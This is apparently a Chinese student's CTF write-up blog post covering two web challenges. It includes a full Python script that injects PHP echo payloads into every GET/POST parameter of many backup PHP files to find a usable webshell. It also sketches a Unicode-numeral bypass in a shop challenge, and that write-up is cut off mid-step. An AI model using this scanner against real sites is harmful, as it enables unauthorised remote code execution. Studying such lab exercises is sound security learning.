week5

信息收集

[强网杯 2019]高明的黑客

脚本

注意事项：
1.php 7+
2.放在phpstudy->网站根目录

import os
import requests
import re
import threading
import time

print('开始时间：  ' + time.asctime(time.localtime(time.time())))  # 只是一个简单的时间函数，看起来更漂亮罢了
s1 = threading.Semaphore(100)  # 这儿设置最大的线程数
filePath = r"F:\web\phpstudy\WWW\src"
os.chdir(filePath)  # 改变当前的路径，这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数，防止线程数过高，断开连接
files = os.listdir(filePath)  # 得到该目录下所有文件的名称
session = requests.Session()  # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()  # 好像与锁什么的相关，但是还是不太懂，多线程开启
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))  # 更好看，同时可以对比不加线程和加线程的时间对比
    with open(file, encoding='utf-8') as f:  # 打开php文件，提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    # print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数，继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST，如果是GET，flag==1，则b未定义；如果是POST，flag为0，
            param = a
        else:
            param = b
        print('找到了利用文件： ' + file + "  and 找到了利用的参数：%s" % param)
        print('结束时间：  ' + time.asctime(time.localtime(time.time())))
    s1.release()  # 对应于之前的多线程打开


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

解题过程：

step1:
访问下载/www.tar.gz	备份源码
step2:
看到有一堆php文件，打开几个看到有GET，POST传参，一些getshell文件，用脚本把get，post这些文件找出来,在本地搭建一个靶机，遍历这些文件那个有效（脚本在上面）
step3:
找到直接访问就是

Unicode

[ASIS 2019]Unicorn shop

知识点：

1.一些Unicode表示的含义是一样的，可以用来绕过
https://www.compart.com/en/unicode/

解题过程：

step1:
让我们买马，在id输入1，price输入对应的回显Wrong commodity!  1，2，3都是一样的回显
到4的时候回显Only one char(?) allowed!  只让输入一个字符
step2:
在那个网站上找到对应的大于1337数字的替换，我用的

标签：web,name,param,sign,content,file,action,week5	

From： https://www.cnblogs.com/dleyi/p/18320072